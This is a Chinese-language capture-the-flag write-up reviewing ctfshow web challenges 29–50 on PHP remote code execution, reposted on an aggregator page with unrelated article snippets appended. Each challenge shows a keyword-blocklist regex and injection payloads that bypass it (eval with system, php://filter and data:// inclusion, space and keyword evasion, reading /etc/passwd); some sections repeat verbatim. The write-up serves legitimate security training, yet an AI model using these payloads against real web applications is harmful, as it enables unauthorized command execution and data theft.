Rce漏洞复习(ctfshow29-50)

Rce漏洞简介思维导图

Web29

代码审计:

if(!preg_match("/flag/i", $c)){
        eval($c);

传参没有flag(大小写都没有出现)

Payload:

?c=system("ls");

?c=system("tac *lag.php");

Web30

代码审计:过滤了flag|system|php

if(!preg_match("/flag|system|php/i", $c)){
        eval($c);
    }

payload:

?c=echo shell_exec("tac f*");

Web31

代码审计:参数逃逸绕过空格

if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)){
        eval($c);
    }

payload:

?c=eval($_GET["p"]);&p=system("tac flag.php");

Web32

过滤内容

if(!preg_match(“/flag|system|php|cat|sort|shell|.| |'|`|echo|;|(/i”, $c))

参数逃逸+为协议绕过+%0a绕过空格

?c=include%0a$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php

Base64解码

Web32

过滤内容

if(!preg_match(“/flag|system|php|cat|sort|shell|.| |'|`|echo|;|(/i”, $c))

参数逃逸+为协议绕过+%0a绕过空格

?c=include%0a$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php

Base64解码

Web32

过滤内容

if(!preg_match(“/flag|system|php|cat|sort|shell|.| |'|`|echo|;|(/i”, $c))

参数逃逸+为协议绕过+%0a绕过空格

payload

?c=include%0a$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php

Base64解码

Web33

过滤语句

if(!preg_match(“/flag|system|php|cat|sort|shell|.| |'|`|echo|;|(|”/i", $c))

参数逃逸+为协议绕过+%0a绕过空格

?c=include%0a$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php

Base64解码

Web34

过滤内容

if(!preg_match(“/flag|system|php|cat|sort|shell|.| |'|`|echo|;|(|”/i", $c))

参数逃逸+为协议绕过+%0a绕过空格

?c=include%0a$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php

Base64解码

Web35

过滤了多一个>

!preg_match(“/flag|system|php|cat|sort|shell|.| |'|`|echo|;|(|:|”|<|=/i", $c)){

过滤内容

if(!preg_match(“/flag|system|php|cat|sort|shell|.| |'|`|echo|;|(|”/i", $c))

参数逃逸+为协议绕过+%0a绕过空格

?c=include%0a$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php

Base64解码

Web36

过滤语句(多了对数字的过滤)

if(!preg_match(“/flag|system|php|cat|sort|shell|.| |'|`|echo|;|(|:|”|<|=|/|[0-9]/i", $c))

payload参数逃逸+为协议绕过+%0a绕过空格,get传参变为a

?c=include%0a$_GET[a]?>&a=php://filter/convert.base64-encode/resource=flag.php

Web37

if(!preg_match("/flag/i", $c)){

        include($c);

        echo $flag;

利用include函数,绕过flag,用data为协议(data://text/plain)

Payload:

?c=data://text/plain,<?php system('tac fl*.*');?>

Web38

if(!preg_match("/flag|php|file/i", $c)){

        include($c);

        echo $flag;    

    }

利用include函数,绕过flag,用data为协议(data://text/plain)

Payload:

?c=data://text/plain,<?php system('tac fl*.*');?>

Web39

if(isset($_GET['c'])){

    $c = $_GET['c'];

    if(!preg_match("/flag/i", $c)){

        include($c.".php");

    }

利用include函数,绕过flag,用data为协议(data://text/plain)

Payload:

?c=data://text/plain,<?php system('tac fl*.*');?>

Web40

正则转换在线网站

RegexperRegular expression visualizer using railroad diagramsicon-default.png?t=N7T8https://regexper.com/

?c=print_r(get_defined_vars());可以输出所有的变量,如果此时通过post传递一个1=phpinfo();,那么打印的变量就会多一个

根据输出内容可以看到post传递的内容在数组的第二个中

通过next即可获取到数组中的第二个数组的指针。并打印出来。

然后利用array_pop()这个函数将数组中的值可以弹出

?c=eval(array_pop((next(get_defined_vars()))));

post中提交 1=system(‘tac flag.php’);

解释:通过post传递一个值,会存储在当前页面的变量中,get_defined_vars()获取当前页面所有变量,next取当前页面变量的第二个,也就是一个数组,array_pop是弹出数组的值,eval执行弹出的值。

Payload(无参rce):

?c=eval(pos(next(get_defined_vars())));

post data:

1=system("tac fla*");

Web41

Web42

system($c." >/dev/null 2>&1");

c参数变量拼接了>/dev/null 2>&1

或运算符绕过,%0a换行绕过

Payload

url + ?c=tac flag.php ||

url +?c=tac flag.php ; ls

url + ?c=tac flag.php%0a

Web43

if(!preg_match("/;|cat|flag/i", $c)){

system($c." >/dev/null 2>&1");

nl,tac绕过cat

c参数变量拼接了>/dev/null 2>&1

或运算符绕过,%0a换行绕过

Payload

url + ?c=tac flag.php ||

url +?c=tac flag.php ; ls

url + ?c=tac flag.php%0a

Web44

if(!preg_match("/;|cat|flag/i", $c)){

    system($c." >/dev/null 2>&1");

Flag绕过方法拼接和*

nl,tac绕过cat

c参数变量拼接了>/dev/null 2>&1

或运算符绕过,%0a换行绕过

Payload

url + ?c=tac fl''ag.php||

url + ?c=tac fl*%0A

Web45

if(!preg_match("/\;|cat|flag| /i", $c)){

    system($c." >/dev/null 2>&1");

过滤了空格

空格绕过

<、<>、%20(space)、%09(tab)、$IFS$9、${IFS}、$IFS、{cat,/etc/passwd}、%0a(回车)

Payload

url + ?c=tac%09fl''ag.php||

Web46

if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*/i", $c)){

        system($c." >/dev/null 2>&1");

绕过空格

url + ?c=tac%09fl?g.php||

url + ?c=tac%09fl''ag.php||

Web47

if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`/i", $c)){

        system($c." >/dev/null 2>&1");

绕过空格

url + ?c=tac%09fl?g.php||

url + ?c=tac%09fl''ag.php||

Web48

if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`/i", $c)){

        system($c." >/dev/null 2>&1");

绕过空格

url + ?c=tac%09fl?g.php||

url + ?c=tac%09fl''ag.php||

Web49

if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%/i", $c)){

        system($c." >/dev/null 2>&1");

绕过空格

url + ?c=tac%09fl?g.php||

url + ?c=tac%09fl''ag.php||

Web50

if(isset($_GET['c'])){

    $c=$_GET['c'];

    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){

        system($c." >/dev/null 2>&1");

    }

}else{

    highlight_file(__FILE__);

}

Payload:

url + ?c=tac<>fl''ag.php||

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/383707.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

【网络流】——初识(最大流)

网络流-最大流 基础信息引入一些概念基本性质 最大流定义 Ford–Fulkerson 增广Edmons−Karp算法Dinic 算法参考文献 基础信息 引入 假定现在有一个无限放水的自来水厂和一个无限收水的小区&#xff0c;他们之间有多条水管和一些节点构成。 每一条水管有三个属性&#xff1a…

rust 初探 -- use

rust 初探 – use Package, Crate, 定义 Module use 关键字 作用&#xff1a;将路径引入到作用域内&#xff0c;其依旧遵循私有性规则&#xff0c;也即只用 pub 的部分引入进来才能使用 use crate::front_of_house::hosting; // 绝对路径 // use front_of_house::hosting; …

【微信小程序实战教程】之微信小程序 WXML 语法详解

WXML语法基础 从本章开始&#xff0c;我们就正式进入到了小程序项目开发学习的初级阶段&#xff0c;本章将介绍小程序的界面构成。有过网页开发学习经历的同学都知道&#xff0c;网页开发所使用的技术是HTML、CSS和JS&#xff0c;其中HTML用于描述整个网页的结构&#xff0c;也…

php反序列化--前置知识

&#x1f3bc;个人主页&#xff1a;金灰 &#x1f60e;作者简介:一名简单的大一学生;易编橙终身成长社群的嘉宾.✨ 专注网络空间安全服务,期待与您的交流分享~ 感谢您的点赞、关注、评论、收藏、是对我最大的认可和支持&#xff01;❤️ &#x1f34a;易编橙终身成长社群&#…

Golang | Leetcode Golang题解之第274题H指数

题目&#xff1a; 题解&#xff1a; func hIndex(citations []int) int {// 答案最多只能到数组长度left,right:0,len(citations)var mid intfor left<right{// 1 防止死循环mid(leftright1)>>1cnt:0for _,v:range citations{if v>mid{cnt}}if cnt>mid{// 要找…

【人工智能】Transformers之Pipeline(四):零样本音频分类(zero-shot-audio-classification)

​​​​​​​ 目录 一、引言 二、零样本音频分类&#xff08;zero-shot-audio-classification&#xff09; 2.1 概述 2.2 意义 2.3 应用场景 2.4 pipeline参数 2.4.1 pipeline对象实例化参数​​​​​​​ 2.4.2 pipeline对象使用参数 2.4 pipeline实战 2.5 模…

linux ftp操作记录

一.ftp 创建用户 passwd: user ftpuser does not exist 如果你遇到 passwd: user ftpuser does not exist 的错误&#xff0c;这意味着系统中不存在名为 ftpuser 的用户。你需要首先确认FTP用户是否是系统用户&#xff0c;还是FTP服务器软件&#xff08;如Pure-FTPd&#xff…

系留无人机在技术上有哪些优势或创新点

系留无人机在技术上具有显著的优势和创新点&#xff0c;主要体现在以下几个方面&#xff1a; 1. 长航时飞行作业&#xff1a; - 系留无人机系统由地面通过市电、发电机或电池组供电&#xff0c;并通过系留线缆将电力传输至无人机&#xff0c;实现了不间断供电。 - 这种供电方式…

【数据分享】2008-2022年我国省市县三级的逐日NO2数据(excel\shp格式)

空气质量数据是在我们日常研究中经常使用的数据&#xff01;之前我们给大家分享了2000-2022年的省市县三级的逐日PM2.5数据、2013-2022年的省市县三级的逐日CO数据和2013-2022年的省市县三级的逐日SO2数据&#xff08;均可查看之前的文章获悉详情&#xff09;&#xff01; 本次…

【C语言】 二叉树创建(结构体,先序遍历,中序遍历,后续遍历)

二叉树的创建&#xff1a;首先先定义一个结构体&#xff0c;里面包含数据&#xff08;data&#xff09;&#xff0c;指向左子树的指针&#xff08;L&#xff09;&#xff0c;指向右子树的指针&#xff08;R&#xff09;三个部分 在创建树的函数中&#xff0c;首先先输入…

项目的小结

1.实现实时聊天 1.服务端建立一个ConcurrentHashMap<> 用来存储在线用户&#xff0c;用户账号和socket然后&#xff0c;如果有个人发了信息&#xff0c;就去数据库中查询&#xff0c;然后根据这个在线用户进行传递信息 服务端框架&#xff1a; public class ServerMain {…

C语言 | Leetcode C语言题解之第290题单词规律

题目&#xff1a; 题解&#xff1a; typedef struct node_t {char *key;char *value;struct node_t* pnext; }NODE_T;typedef struct hash_t {NODE_T** hash_list;int size; }HASH_T;HASH_T *hash_init(int size) {HASH_T *hash (HASH_T *)malloc(sizeof(HASH_T));if(NULL h…

搭建本地私有知识问答系统:MaxKB + Ollama + Llama3 (wsl网络代理配置、MaxKB-API访问配置)

目录 搭建本地私有知识问答系统:MaxKB、Ollama 和 Llama3 实现指南引言MaxKB+Ollama+Llama 3 Start buildingMaxKB 简介:1.1、docker部署 MaxKB(方法一)1.1.1、启用wls或是开启Hyper使用 WSL 2 的优势1.1.2、安装docker1.1.3、docker部署 MaxKB (Max Knowledge Base)MaxKB …

近期代码报错解决笔记

1.TypeError: ‘bool’ object is not callable 想print("Type of head:", type(entity_emb[head]))&#xff0c;结果报如下错误&#xff1a; 源代码&#xff1a; 因为 print 仍然被当作一个布尔值处理&#xff0c;而不是作为函数调用。这个问题的根源在于 print …

将YOLOv8模型从PyTorch的.pt格式转换为TensorRT的.engine格式

TensorRT是由NVIDIA开发的一款高级软件开发套件(SDK)&#xff0c;专为高速深度学习推理而设计。它非常适合目标检测等实时应用。该工具包可针对NVIDIA GPU优化深度学习模型&#xff0c;从而实现更快、更高效的运行。TensorRT模型经过TensorRT优化&#xff0c;包括层融合(layer …

2024最新版虚拟便携空调小程序源码 支持流量主切换空调型号

产品截图 部分源代码展示 urls.js Object.defineProperty(exports, "__esModule", {value: !0 }), exports.default ["9c5f1fa582bee88300ffb7e28dce8b68_3188_128_128.png", "E-116154b04e91de689fb1c4ae99266dff_960.svg", "573eee719…

Sqli-labs-master的21—25通关教程

目录 Less-21(闭合) 查询数据库名 查询数据库中的表 查询表中字段名 查询表中数据 Less-22&#xff08;"闭合&#xff09; 查询数据库名 查询数据库中的表 查询表中字段名 查询表中数据 Less-23 查询数据库名 查询数据库中的表 查询表中字段名 查询表中数据…

Docker核心技术:Docker的基本使用

云原生学习路线导航页&#xff08;持续更新中&#xff09; 本文是 Docker核心技术 系列文章&#xff1a;Docker的基本使用&#xff0c;其他文章快捷链接如下&#xff1a; 应用架构演进容器技术要解决哪些问题Docker的基本使用&#xff08;本文&#xff09;Docker是如何实现的 3…

14.死信队列

介绍 死信就是无法被消费的消息。生产者将消息投递给broker或者直接到队列里&#xff0c;消费者从队列中取出消息进行消费。但是某些时候由于特定的原因导致queue中的某些消息无法被消费&#xff0c;这样的消息如果没有后续处理&#xff0c;就变成了死信。有死信自然就有死信队…

【C++跬步积累】—— list模拟实现(含源代码,超详细)

&#x1f30f;博客主页&#xff1a;PH_modest的博客主页 &#x1f6a9;当前专栏&#xff1a;C跬步积累 &#x1f48c;其他专栏&#xff1a; &#x1f534; 每日一题 &#x1f7e1; Linux跬步积累 &#x1f7e2; C语言跬步积累 &#x1f308;座右铭&#xff1a;广积粮&#xff0…